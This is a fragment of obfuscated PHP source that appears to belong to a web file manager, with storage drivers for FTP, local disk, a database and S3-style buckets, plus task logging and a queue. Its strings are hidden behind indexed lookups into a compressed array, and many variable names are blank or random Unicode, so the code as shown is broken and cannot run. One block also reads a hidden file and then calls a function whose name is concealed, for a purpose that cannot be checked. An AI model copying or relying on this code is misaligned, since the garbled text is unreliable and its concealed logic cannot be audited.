$[$[201]] = $[$[202]] = !0; return $; } private function fileInfo($, $ΐ = false, $˳ = array()) { $ =& $_SERVER[]; $ٍЂ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] . $), $[33] => $[199], $[76] => isset($˳[$[76]]) ? $˳[$[76]] : 0, $[174] => $this->ext($)); if ($ΐ) { return $ٍЂ; } $ٍЂ[$[200]] = $ٍЂ[$[85]] = 0; $ٍЂ[$[201]] = $ٍЂ[$[202]] = !0; $ = $this->iconvSystem($); $ٍЂ[$[85]] = @ftp_mdtm($this->connect, $); if (empty($˳)) { $˳ = $this->objectMeta($); if (!$˳) { return $ٍЂ; } } $ٍЂ[$[76]] = $˳[$[76]]; return $ٍЂ; } public function size($ ) { $ӼΩ = $this->objectMeta($ ); return $ӼΩ ? $ӼΩ[$_SERVER[][76]] : 0; } public function info($ˊՎ) { if ($this->isFile($ˊՎ)) { return $this->fileInfo($ˊՎ, 0); } else { if ($this->isFolder($ˊՎ)) { return $this->folderInfo($ˊՎ); } } return !1; } private function fileList($ب, &$ڥ߷, &$͋, $ = false) { $ =& $_SERVER[]; $ب = $this->iconvSystem($ب); if (!$this->isFolder($ب)) { return !1; } @ftp_chdir($this->connect, $[8]); $ب = rtrim($ب, $[8]) . $[8]; check_abort(); $͉ = @ftp_rawlist($this->connect, $ب); if (!$͉) { $͉ = array(); } $ = array($[10] => 1, $[1391] => 1); foreach ($͉ as $) { $Ѣ = $this->_listItem($); if ($Ѣ[0] == $[763]) { continue; } $҄П = $Ѣ[8]; if (empty($҄П) && $҄П !== $[197] || isset($[$҄П])) { continue; } $҄П = $this->iconvApp($ب . ltrim($҄П, $[8])); $驓ў = array($[32] => $҄П, $[33] => $[199], $[76] => $Ѣ[4]); if (substr($, 0, 1) == $[1392]) { $驓ў[$[33]] = $[75]; $驓ў[$[76]] = 0; } $ = $驓ў[$[33]] == $[75] ? !0 : !1; $this->cacheMethodInfoSet($҄П, $, $驓ў); if ($) { $ڥ߷[] = $҄П; if ($) { $this->fileList($҄П, $ڥ߷, $͋, $); } continue; } $͋[] = $驓ў; } $this->cacheMethodInfoSet($ب, !0); } private function _listItem($) { if (empty($)) { return array(); } $ = preg_split($_SERVER[][1393], $); if (count($) <= 9) { return $; } $[8] = trim(substr($, strpos($, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($ވ, $ = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $혧 = array(); $this->fileList($ވ, $, $혧); foreach ($ as $ȱ => $߇) { $[$ȱ] = $this->folderInfo($߇, $); } foreach ($혧 as $ȱ => $߇) { $혧[$ȱ] = $this->fileInfo($߇[$[32]], $, $߇); } return array($[82] => $, $[83] => $혧); } public function has($, $֜읖 = false, $ɬ = true) { $ǔ =& $_SERVER[]; $ܴ = $љ = array(); $ = $֜읖 ? !0 : !1; $this->fileList($, $ܴ, $љ, $); if ($֜읖) { return array($ǔ[207] => count($љ), $ǔ[208] => count($ܴ)); } if ($ɬ) { if (count($љ)) { return !0; } } else { if (count($ܴ)) { return !0; } } return !1; } public function listAll($) { $Њ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ك = array(); $this->fileList($, $, $ك, !0); $ = array(); foreach ($ك as $د) { $[$د[$Њ[32]]] = $د[$Њ[76]]; } foreach ($ as $د) { if (is_string($د)) { $[$د] = 0; } } return $this->listAllFiles($, array_keys($), $); } public function getContent($ߴ) { if (!$this->_isconn()) { return !1; } $ߴ = $this->iconvSystem($ߴ); return $this->fileSubstr($ߴ); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ЛҼ = $this->pathThis($this->iconvSystem($)); $㿋 = $this->tempFile($ЛҼ); file_put_contents($㿋, $); $֛ = $this->upload($, $this->iconvApp($㿋)); $this->tempFileRemve($㿋); return $֛; } public function fileSubstr($, $ = 0, $ݺ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $ݺ); } private function ftpRequest($Ɯ, $ = 0, $ = false) { $Ɯ = $this->iconvSystem($Ɯ); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($Ɯ)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $ĭ = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\x2d{$ĭ}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($˚, $ғޑ, $㦎 = false, $Î = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($˚))) { return !1; } $˚ = $this->iconvSystem($˚); $ғޑ = $this->iconvSystem($ғޑ); $Ͷ = ftp_nb_put($this->connect, $˚, $ғޑ, FTP_BINARY); while ($Ͷ == FTP_MOREDATA) { $Ͷ = ftp_nb_continue($this->connect); } if ($Ͷ != FTP_FINISHED) { return !1; } return $this->getPathOuter($˚); } public function download($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathFather($); if (!IO::mkdir($)) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $έ = ftp_nb_get($this->connect, $, $, FTP_BINARY); while ($έ == FTP_MOREDATA) { $έ = ftp_nb_continue($this->connect); } if ($έ != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ھ) { return !$this->isFolder($ھ) && $this->objectMeta($ھ); } public function isFolder($ʄ) { return $this->cacheMethod($_SERVER[][165], $ʄ); } protected function objectMeta($ن) { return $this->cacheMethod($_SERVER[][167], $ن); } protected function _objectMeta($є) { $̧ =& $_SERVER[]; if ($є == $̧[12] || $є == $̧[8]) { return array(); } if (!$this->_isconn()) { return !1; } $є = $this->iconvSystem($є); $ȡ = array($̧[32] => $this->iconvApp($є), $̧[33] => $̧[199], $̧[76] => 0); @ftp_chdir($this->connect, $̧[8]); $ = @ftp_size($this->connect, $є); if ($ != -1) { $ȡ[$̧[76]] = $; } else { $ü = @ftp_chdir($this->connect, $є); if (!$ü) { return !1; } $ȡ[$̧[33]] = $̧[75]; } return $ȡ; } protected function _isFolder($ŝ) { $ =& $_SERVER[]; if ($ŝ == $[12] || $ŝ == $[8]) { return !0; } $ = $this->_objectMeta($ŝ); return isset($[$[33]]) && $[$[33]] == $[75] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($ة) { if (substr($ة, 0, 2) == $_SERVER[][1384]) { $ة = BASIC_PATH . substr($ة, 2); } return $ة; } public function iconvApp($呋) { $ =& $_SERVER[]; global $config; return $this->iconvTo($呋, $config[$[1382]], $config[$[1381]]); } public function iconvSystem($) { $ѝ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$ѝ[1381]], $config[$ѝ[1382]]); } public function getPathOuter($暦) { $Ե =& $_SERVER[]; $Ћ뾐 = $this->iconvApp($this->pathBase); $暦 = $this->iconvApp($暦); if (substr($Ћ뾐, 0, 2) == $Ե[1384]) { $Ћ뾐 = BASIC_PATH . substr($Ћ뾐, 2); } if (substr($暦, 0, 2) == $Ե[1384]) { $暦 = BASIC_PATH . substr($暦, 2); } $Ћ뾐 = KodIO::clear($Ћ뾐); $暦 = KodIO::clear($暦); $暦 = substr($暦, strlen($Ћ뾐)); if (empty($this->pathDriver)) { return $暦; } return $this->pathDriver . $Ե[8] . ltrim($暦, $Ե[8]); } public function mkfile($, $ᆩ = '', $ = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($ᆩ) { file_put_contents($, $ᆩ); } @chmod($, $this->pathAuth); return is_file($) ? $this->getPathOuter($) : !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); return is_dir($) ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = copy_64($, $); @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function moveFile($߿, $˦) { $this->mkdir($this->pathFather($˦)); $߿ = $this->iconvSystem($߿); $˦ = $this->iconvSystem($˦); $Ǿ = intval(@rename($߿, $˦)); if (!$Ǿ) { if ($Ǿ = intval(@copy_64($߿, $˦))) { @unlink($߿); } } @chmod($˦, $this->pathAuth); return $Ǿ ? $this->getPathOuter($˦) : !1; } public function movePath($, $, $ڊգ = false) { $ͱ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $ͱ[8]) . $ͱ[8] . ($ڊգ ? $ڊգ : get_path_this($)); if (file_exists($)) { return !1; } $ֿ = intval(@rename($, $)); $ֿ = file_exists($); return $ֿ ? $this->getPathOuter($) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($䗪 = opendir($))) { return !1; } while (($ּ = readdir($䗪)) !== !1) { if ($ּ == $[10] || $ּ == $[1391]) { continue; } $ƴɛ = $ . $[8] . $ּ; if (is_file($ƴɛ) || is_link($ƴɛ)) { if (!unlink($ƴɛ)) { chmod($ƴɛ, $this->pathAuth); if (!unlink($ƴɛ)) { return !1; } } } else { if (is_dir($ƴɛ)) { chmod($ƴɛ, $this->pathAuth); $ƴɛ = $this->iconvApp($ƴɛ); if (!$this->delFolder($ƴɛ)) { return !1; } } } } closedir($䗪); return rmdir($); } public function rename($ο, $Û) { $ =& $_SERVER[]; $±鷗 = $this->fileNameAuto($this->pathFather($ο), $Û); $±鷗 = $this->iconvSystem($±鷗); $ο = $this->iconvSystem($ο); $벾 = $this->pathFather($ο); $́ = rtrim($벾, $[8]) . $[8] . $±鷗; $٪ = @rename($ο, $́); $́ = $this->iconvApp($́); return $٪ ? $this->getPathOuter($́) : !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($ިݥ, &$, $ό = true) { $ =& $_SERVER[]; check_abort_echo(); $ިݥ = rtrim($ިݥ, $[8]) . $[8]; if ($ό) { $ިݥ = $this->iconvSystem($ިݥ); } if (!($ = @opendir($ިݥ))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1391]) { continue; } $Ú = $ިݥ . $; if (is_file($Ú) || is_link($Ú)) { $[$[77]]++; $[$[76]] += filesize_64($Ú); } else { if (is_dir($Ú)) { $[$[78]]++; $this->infoChildren($Ú, $, !1); } } } closedir($); } private function folderInfo($ػ, $ = false) { $۷ =& $_SERVER[]; $ػ = rtrim($ػ, $۷[8]) . $۷[8]; $ = $this->iconvApp($this->pathThis($ػ)); if ($) { return array($۷[32] => $, $۷[84] => $this->getPathOuter($ػ), $۷[33] => $۷[75]); } $ = array($۷[32] => $, $۷[84] => $this->getPathOuter($ػ), $۷[33] => $۷[75], $۷[200] => @filectime($ػ), $۷[85] => @filemtime($ػ), $۷[1394] => @fileatime($ػ), $۷[1395] => is_readable($ػ), $۷[1396] => is_writable($ػ), $۷[1397] => get_mode($ػ)); return $; } private function fileInfo($ܒ, $ = false) { $䉕܇ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($ܒ)); if ($) { return array($䉕܇[32] => $, $䉕܇[84] => $this->getPathOuter($ܒ), $䉕܇[33] => $䉕܇[199], $䉕܇[76] => $this->size($ܒ), $䉕܇[174] => $this->ext($)); } $錫 = array($䉕܇[32] => $, $䉕܇[84] => $this->getPathOuter($ܒ), $䉕܇[33] => $䉕܇[199], $䉕܇[200] => @filectime($ܒ), $䉕܇[85] => @filemtime($ܒ), $䉕܇[1394] => @fileatime($ܒ), $䉕܇[76] => $this->size($ܒ), $䉕܇[174] => $this->ext($), $䉕܇[1395] => is_readable($ܒ), $䉕܇[1396] => is_writable($ܒ), $䉕܇[1397] => get_mode($ܒ)); return $錫; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($撺, $ = false) { $ԉЈ =& $_SERVER[]; $撺 = $this->iconvSystem($撺); $撺 = rtrim($撺, $ԉЈ[8]) . $ԉЈ[8]; $ܔ = array($ԉЈ[82] => array(), $ԉЈ[83] => array()); if (!($ = @opendir($撺))) { return $ܔ; } while (($ = readdir($)) !== !1) { if ($ == $ԉЈ[10] || $ == $ԉЈ[1391]) { continue; } $ = $撺 . $; if (is_file($)) { $ܔ[$ԉЈ[83]][] = $this->fileInfo($, $); } else { $ܔ[$ԉЈ[82]][] = $this->folderInfo($, $); } } closedir($); return $ܔ; } public function listAll($цՏ, &$ = array()) { $ =& $_SERVER[]; $цՏ = $this->iconvSystem($цՏ); $цՏ = rtrim($цՏ, $[8]) . $[8]; if (!($ = @opendir($цՏ))) { return $; } while (($Ǧ = readdir($)) !== !1) { if ($Ǧ == $[10] || $Ǧ == $[1391]) { continue; } $۵ = $цՏ . $Ǧ; if (is_dir($۵) && !is_link($۵)) { $[] = array($[84] => $۵ . $[8], $[75] => 1, $[85] => @filemtime($۵), $[76] => 0); $this->listAll($۵, $); } else { $[] = array($[84] => $۵, $[75] => 0, $[85] => @filemtime($۵), $[76] => $this->size($۵)); } } closedir($); return $; } public function has($, $Цћ = false, $Ơ = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ۃ = 0; $ = 0; $ = 0; while (($˯ = readdir($)) !== !1) { if ($˯ == $[10] || $˯ == $[1391]) { continue; } $ = $ . $˯; if ($Цћ) { $++; if (@is_file($)) { $ۃ++; } else { $++; } if ($ > 10000) { break; } continue; } if ($Ơ) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($Цћ) { return array($[207] => $ۃ, $[208] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } $ = $this->iconvSystem($); $؆ = $this->size($); $ = 200; $ދ = 50; if ($؆ <= $ * $ދ) { return $this->hashMd5($) . $؆; } $ʖ = $[12]; $ = intval($؆ / $ދ); $ = fopen($, $[1398]); if (!$) { return $ʖ; } for ($ = 0; $ < $ދ; $++) { fseek_64($, $ * $); $ʖ .= fread($, $); } fseek_64($, $؆ - $); $ʖ .= fread($, $); fclose($); return md5($ʖ) . $؆; } public function getContent($ǩ) { $ǩ = $this->iconvSystem($ǩ); return file_get_contents($ǩ); } public function setContent($ʈ, $ = '') { $ʈ = $this->iconvSystem($ʈ); $ݺ = @file_put_contents($ʈ, $, LOCK_EX); clearstatcache(); @chmod($ʈ, $this->pathAuth); return $ݺ === !1 ? !1 : !0; } public function fileSubstr($⤖, $ = 0, $ = false) { $ö =& $_SERVER[]; $⤖ = $this->iconvSystem($⤖); if ($ === !1) { $ = $this->size($⤖); } if ($ <= 0) { return $ö[12]; } $ = fopen($⤖, $ö[1398]); if (!$) { return !1; } fseek_64($, $); $ۥ = fread($, $); fclose($); return $ۥ; } public function upload($, $Ʌ, $ = false, $̭ = REPEAT_REPLACE) { if ($) { return $this->moveFile($Ʌ, $); } return $this->copyFile($Ʌ, $); } public function setModifyTime($띊, $ = '') { @touch($띊, intval($)); } public function download($ă, $¨) { return $this->iconvSystem($ă); } } if ($_SERVER[$_SERVER[][880]] != $_SERVER[$_SERVER[][1399]]) { $_getc = $_SERVER[][883]; $_getfile = $_SERVER[$_SERVER[][884]] . $_SERVER[][885]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][620]) { $exit = $_SERVER[][886]; $exit(); } $_act = $_SERVER[][1380]; $_act($_SERVER[$_SERVER[][881]]); } goto Bѽ; Bԣ: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[ۦ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $ޥӋ) { return $ == $ޥӋ; } goto F䊌; d: class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1751]] = 1; Hook::bind($[1719], array($this, $[1752])); Hook::bind($[1721], array($this, $[1753])); Hook::bind($[1723], array($this, $[1754])); } protected function endAfter() { $ψ =& $_SERVER[]; Hook::unbind($ψ[1719], array($this, $ψ[1752])); Hook::unbind($ψ[1721], array($this, $ψ[1753])); Hook::unbind($ψ[1723], array($this, $ψ[1754])); } public function progressStart($뢞) { $̟ =& $_SERVER[]; $ = curl_getinfo($뢞); self::log($̟[1755] . $[$̟[307]]); self::valueSet($this->task[$̟[399]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1756] . $this->task[$[399]]); $this->end(); } public function progress($ѻ, $٬, $ә, $̐, $āǗ) { $lj =& $_SERVER[]; $ĉ =& $this->task; if ($āǗ > 0) { $ĉ[$lj[790]] = $ĉ[$lj[790]] == 0 ? $̐ : $ĉ[$lj[790]]; $ĉ[$lj[1675]] = $āǗ; } else { if ($ә > 0) { $ĉ[$lj[790]] = $ĉ[$lj[790]] == 0 ? $٬ : $ĉ[$lj[790]]; $ĉ[$lj[1675]] = $ә; } } $this->update(); self::log("\160\162\x6f\147\x72\145\163\163\110\164\x74\160\72\144\157\167\156\x3a{$ә}\57{$٬}\73\40\165\x70\154\157\141\x64\72{$āǗ}\x2f{$̐}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $֝ = '', $ = 0, $ = '') { $ =& $_SERVER[]; $ = new Task($, $֝, $, $); $GLOBALS[$[1757] . $] = new TaskLog($[1658], $, $); return $; } public function __construct($ܱ = '', $И = '', $ό = '') { $ =& $_SERVER[]; if (!$ܱ) { $ܱ = $[1658]; } $ = $ܱ . $[386] . rand_string(10); if (!$ό) { $ό = $ܱ . $[53] . $ό; } switch ($ܱ) { case $[1658]: if (!$И || !$И->task) { return echoLog($ܱ . $[1758]); } $ = $И; $ = $->task[$[399]]; $ܱ = $->task[$[399]]; if (!$->task[$[1574]]) { $->task[$[1574]] = $ό ? $ό : $ܱ; } break; case $[1759]: if (!$И) { return echoLog($ܱ . $[1760]); } $ = is_string($И) ? array($И) : $И; $ = new TaskFileTransfer($, $ܱ, 0, $ό ? $ό : $[0]); foreach ($ as $ά) { $->addPath($ά); } break; case $[313]: if (!$И) { return echoLog($ܱ . $[1760]); } $ = is_string($И) ? array($И) : $И; $ = new TaskZip($, $ܱ, 0, $ό ? $ό : $[0]); foreach ($ as $ά) { $->addPath($ά); } break; case $[1222]: if (!$И) { return echoLog($ܱ . $[1760]); } $ = new TaskUnZip($, $ܱ, 0, $ό ? $ό : $И); if ($И) { $->addFile($И); } break; case $[148]: $ = new TaskHttp($, $ܱ); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($[1695], array($this, $[1761])); Hook::bind($[1697], array($this, $[1762])); Hook::bind($[1691], array($this, $[1763])); echoLog($[1764] . $->task[$[1574]]); } public function __destruct() { $this->end(); } public function end($ʍ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($ʍ); $this->task = !1; $this->taskID = !1; Hook::unbind($[1695], array($this, $[1761])); Hook::unbind($[1697], array($this, $[1762])); Hook::unbind($[1691], array($this, $[1763])); } public function taskUpdate($뮮) { $Ė =& $_SERVER[]; if (!$뮮 || $this->taskID != $뮮[$Ė[399]]) { return; } $ͦ = 20; $ΟѠ = intval($뮮[$Ė[1676]] * $ͦ); $ = $Ė[162] . str_repeat($Ė[891], $ΟѠ) . $Ė[1021] . str_repeat($Ė[53], $ͦ - $ΟѠ) . $Ė[164]; $ŏ = $ . sprintf($Ė[1765], $뮮[$Ė[1676]] * 100) . $Ė[1766]; $ = $ŏ . $뮮[$Ė[1675]] . $Ė[8] . $뮮[$Ė[790]] . LNG($Ė[1767]); $⢍ = $Ė[12]; if ($뮮[$Ė[1751]]) { $ = $ŏ . size_format($뮮[$Ė[1675]]) . $Ė[8] . size_format($뮮[$Ė[790]]); $⢍ = size_format($뮮[$Ė[1677]]) . $Ė[1768]; } if ($뮮[$Ė[1071]]) { $뮮[$Ė[1725]] = $뮮[$Ė[1071]] . $Ė[53] . $뮮[$Ė[1725]]; } if ($뮮[$Ė[1725]]) { $ƽ = $Ė[12]; if ($뮮[$Ė[1727]]) { $ƽ = size_format($뮮[$Ė[1728]]) . $Ė[8] . size_format($뮮[$Ė[1727]]); } $⢍ .= $뮮[$Ė[1725]] . $ƽ; } if ($뮮[$Ė[767]]) { $⢍ .= $Ė[53] . size_format($뮮[$Ė[1732]]) . $Ė[8] . size_format($뮮[$Ė[767]]); } echoLog($ . $Ė[53] . $⢍, !0); } public function taskEnd($֜) { $Ò =& $_SERVER[]; if (!$֜ || $this->taskID != $֜[$Ò[399]]) { return; } $ = $֜ ? $֜[$Ò[1675]] . $Ò[8] . $֜[$Ò[790]] . LNG($Ò[1767]) . $Ò[71] : $Ò[12]; echoLog($Ò[1769] . $֜[$Ò[1574]] . ($֜[$Ò[453]] ? $Ò[71] . $֜[$Ò[453]] : $Ò[12]) . $Ò[71] . $ . $Ò[1770] . sprintf($Ò[854], timeFloat() - $֜[$Ò[1678]]) . $Ò[1690]); $this->end(); } public function taskKill($܇) { $ =& $_SERVER[]; if (!$܇ || $this->taskID != $܇[$[399]]) { return; } echoLog($[1771] . $܇[$[1574]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\141\163\153\x51\x75\145\165\x65\114\x65\x6e\147\x74\150"; const QUEUE_DATA = "\x74\x61\163\x6b\x51\165\x65\x75\x65\104\141\164\141"; public static $listData = false; public static function initTask() { } public static function add($ظ, $ = array(), $Ґ = '', $⥄ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($⥄ && array_find_by_field(self::$listData, $[94], $⥄)) { return !0; } self::$listData[] = array($[264] => $ظ, $[1772] => $, $[453] => $Ґ, $[94] => $⥄); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($[1773] . json_encode_force(array_to_keyvalue(self::$listData, $[12], $[453])), $[1774]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($ۜ, $ۈ = array(), $ = '', $ = '') { $Ȁ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ϥ = self::getAll(); if ($ && array_find_by_field($ϥ, $Ȁ[94], $)) { return !0; } $ϥ[] = array($Ȁ[264] => $ۜ, $Ȁ[1772] => $ۈ, $Ȁ[453] => $, $Ȁ[94] => $); write_log($Ȁ[1773] . $, $Ȁ[1774]); self::setAll($ϥ); return !0; } public static function run() { $ͪ =& $_SERVER[]; $ = self::getAll(); $ʹ = array_shift($); if (!$ʹ) { return !1; } self::setAll($); $ɨǐ = timeFloat(); try { Hook::apply($ʹ[$ͪ[264]], $ʹ[$ͪ[1772]]); } catch (Exception $) { } $ = number_format(timeFloat() - $ɨǐ, 3) . $ͪ[1690]; write_log($ͪ[1775] . $ʹ[$ͪ[453]] . $ͪ[1776] . $, $ͪ[1774]); return !0; } public static function count() { $ڹ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$ڹ) { return 0; } return intval($ڹ); } public static function getAll() { $䪢ӹ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$䪢ӹ) { return array(); } return $䪢ӹ; } public static function setAll($) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $); Cache::set(self::QUEUE_DATA, $, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } goto Fت; Fﱊ挅: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ݟ) { parent::__construct($ݟ); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($ۣ, $ = 3600) { $ͼ =& $_SERVER[]; $ = $ͼ[198]; $ = $ͼ[232]; $ = $ͼ[1326]; $ = gmdate($ͼ[1327], time() + $); $ = (string) time() . $ͼ[71] . (string) (time() + $); $˹ = array($ͼ[1328] => $, $ͼ[1329] => array(array($ͼ[1330] => $), array($ͼ[1331] => $this->bucket), array($ͼ[1332], $ͼ[1333], $ͼ[12]), array($ͼ[1334] => $), array($ͼ[1335] => $), array($ͼ[1336] => $this->accessKey), array($ͼ[1337] => $))); $˹ = json_encode($˹); $䑩 = hash_hmac($ͼ[232], $, $this->secret); $˳ = sha1($˹); $ = hash_hmac($ͼ[232], $˳, $䑩); $ = array($ͼ[1330] => $, $ͼ[1334] => $, $ͼ[1338] => base64_encode($˹), $ͼ[1335] => $, $ͼ[1336] => $this->accessKey, $ͼ[1339] => $, $ͼ[1340] => $, $ͼ[181] => $this->getHost()); return $; } public function fileOutLink($) { $֞ =& $_SERVER[]; if (substr($, 0, 7) == $֞[1341]) { $ = $֞[1342] . substr($, 7); } header($֞[161] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1343]); } public function getPath($) { return trim($, $_SERVER[][8]); } public function pathFather($˹) { $ᘐ = $this->parse($˹); $ᘐ = $this->infoSimple($˹); return $ᘐ ? $ᘐ[$_SERVER[][432]] : !1; } public function pathThis($) { $̵ = $this->infoSimple($); return $̵ ? $̵[$_SERVER[][32]] : !1; } public function getPathOuter($ұ) { if (!$ұ) { return $ұ; } $ = $this->parse($ұ); return KodIO::make($[$_SERVER[][399]]); } public function copyFolderFromIO($̵, $ܘ, $Н, $ĝ, $) { $ᆋ = $this->model->copyFolderFromIO($̵, $ܘ, $Н, $ĝ, $); return KodIO::make($ᆋ); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($䭋, $՚̉ = '', $י = REPEAT_RENAME) { $Պ =& $_SERVER[]; $ٮ = $this->parse($䭋); $䭋 = $ٮ[$Պ[399]]; for ($ = 0; $ < count($ٮ[$Պ[1344]]); $++) { $ = $ٮ[$Պ[1344]][$]; if ($ == count($ٮ[$Պ[1344]]) - 1) { $䭋 = $this->model->mkfile($䭋, $, $՚̉, $י); break; } $䭋 = $this->model->mkdir($䭋, $, REPEAT_SKIP); } return $this->getPathOuter($䭋); } public function mkdir($, $ = REPEAT_SKIP) { $̔ =& $_SERVER[]; $ = $this->parse($); $ = $[$̔[399]]; for ($ = 0; $ < count($[$̔[1344]]); $++) { $ = $[$̔[1344]][$]; $ = $this->model->mkdir($, $, $); } return $this->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ҤƊ = $this->parse($); $Ԋ = $this->model->copy($, $ҤƊ[$[399]], $, $ҤƊ[$[84]]); return $Ԋ ? $this->getPathOuter($Ԋ) : !1; } public function moveFile($, $, $ˌ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->move($, $[$[399]], $ˌ, $[$[84]]); return $ ? $this->getPathOuter($) : !1; } public function copy($, $瘣ɍ, $՜ = REPEAT_REPLACE, $ = false) { $ = $this->parse($瘣ɍ); $ݗ = $this->model->copy($, $[$_SERVER[][399]], $՜, $); return $ݗ ? $this->getPathOuter($ݗ) : !1; } public function moveSameAllow() { } public function move($ǿ, $, $ = REPEAT_REPLACE, $ƍ˲ = false) { $ډ = $this->parse($); $ոָ = $this->model->move($ǿ, $ډ[$_SERVER[][399]], $, $ƍ˲); return $ոָ ? $this->getPathOuter($ոָ) : !1; } public function remove($ˍ, $ﻖ = true) { return $this->model->remove($ˍ, $ﻖ); } public function rename($ϛ, $ɳ) { $ڏ = $this->model->rename($ϛ, $ɳ); return $ڏ ? $this->getPathOuter($ϛ) : $ڏ; } public function size($) { $Ԧ = $this->infoSimple($); return $Ԧ ? $Ԧ[$_SERVER[][76]] : 0; } public function infoSimple($Ц) { return $this->model->sourceInfo($Ц); } public function info($ÿؗ) { return $this->infoParse($ÿؗ); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($íꁢ, $ = false, $ͻͅ = false) { if (!$) { return $this->model->pathInfo($íꁢ, $ͻͅ); } return $this->model->pathInfoMore($íꁢ); } public function infoFull($) { $͡ =& $_SERVER[]; $ܤ = explode($͡[8], $); $⟋ = implode($͡[8], array_splice($ܤ, 1)); return $this->model->pathInfoByPath($ܤ[0], $⟋); } public function hashSimple($г) { $ؙ =& $_SERVER[]; $ө = $this->infoWithChildren($г); return $ө[$ؙ[170]][$ؙ[177]]; } public function hashMd5($) { $ɣ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$ɣ[170]][$ɣ[176]]; } public function exist($؋) { $ =& $_SERVER[]; $ȣ = $this->parse($؋); if (!$ȣ[$[84]]) { return $this->isFile($؋) || $this->isFolder($؋); } $ܾӝ = array($[401] => $ȣ[$[399]], $[32] => $ȣ[$[84]]); $։Θ = $this->model->where($ܾӝ)->find(); return $։Θ ? !0 : !1; } public function isFile($Է) { $ =& $_SERVER[]; $ = $this->infoSimple($Է); return $ && $[$[410]] == $[88] ? !1 : !0; } public function isFolder($ϡޝ) { $Ⲿ =& $_SERVER[]; $Ƌ 